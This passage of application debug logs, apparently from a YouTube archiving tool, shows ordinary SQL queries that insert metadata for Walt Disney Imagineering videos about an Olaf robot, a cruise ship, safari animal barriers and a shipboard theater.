\u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", nil (truncated) 18:55:10.087 [debug] QUERY OK source="sources" db=0.1ms idle=337.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:10.087 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 00:00:00Z], 2] 18:55:10.089 [debug] QUERY OK source="media_items" db=1.1ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "db3589f8-1844-404d-b32f-576ec7e07f0c", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", false, false, 2, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", false, false, 2, [], 98, ~U[2026-03-17 00:00:00Z], ~U[2026-03-29 22:55:10Z], ~U[2026-03-29 22:55:10Z], "Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", nil, false, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", false, 2, ~U[2026-03-17 00:00:00Z]] 18:55:10.089 [debug] QUERY OK source="sources" db=0.1ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:10.090 [debug] QUERY OK source="media_items" db=0.5ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 00:00:00Z], 2] 18:55:10.092 [debug] QUERY OK source="media_items" db=1.7ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "53b76a16-6a50-4824-9a7b-e693b729c767", "D2bWh5wTlZ0", "https://www.youtube.com/watch?v=D2bWh5wTlZ0", false, false, 3, "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].NA", false, false, 2, [], 98, ~U[2026-03-10 00:00:00Z], ~U[2026-03-29 22:55:10Z], ~U[2026-03-29 22:55:10Z], "Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforg (truncated) 18:55:10.093 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:10.093 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 00:00:00Z], 2] 18:55:10.096 [debug] QUERY OK source="media_items" db=1.5ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "15257db1-dcae-4a65-ad6d-80ca0c42ddb4", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", false, false, 4, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", false, false, 2, [], 98, ~U[2026-02-24 00:00:00Z], ~U[2026-03-29 22:55:10Z], ~U[2026-03-29 22:55:10Z], "Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", nil, false, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", false, 2, ~U[2026-02-24 00:00:00Z]] 18:55:10.096 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:10.096 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 00:00:00Z], 2] 18:55:10.099 [debug] QUERY OK source="media_items" db=1.5ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "How Does Disney Do This - Three Stages in ONE Theater?!", "a0f34439-f417-4a8f-9643-68169ab2c9f4", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", false, false, 5, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", false, false, 2, [], 98, ~U[2026-02-17 00:00:00Z], ~U[2026-03-29 22:55:10Z], ~U[2026-03-29 22:55:10Z], "Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → 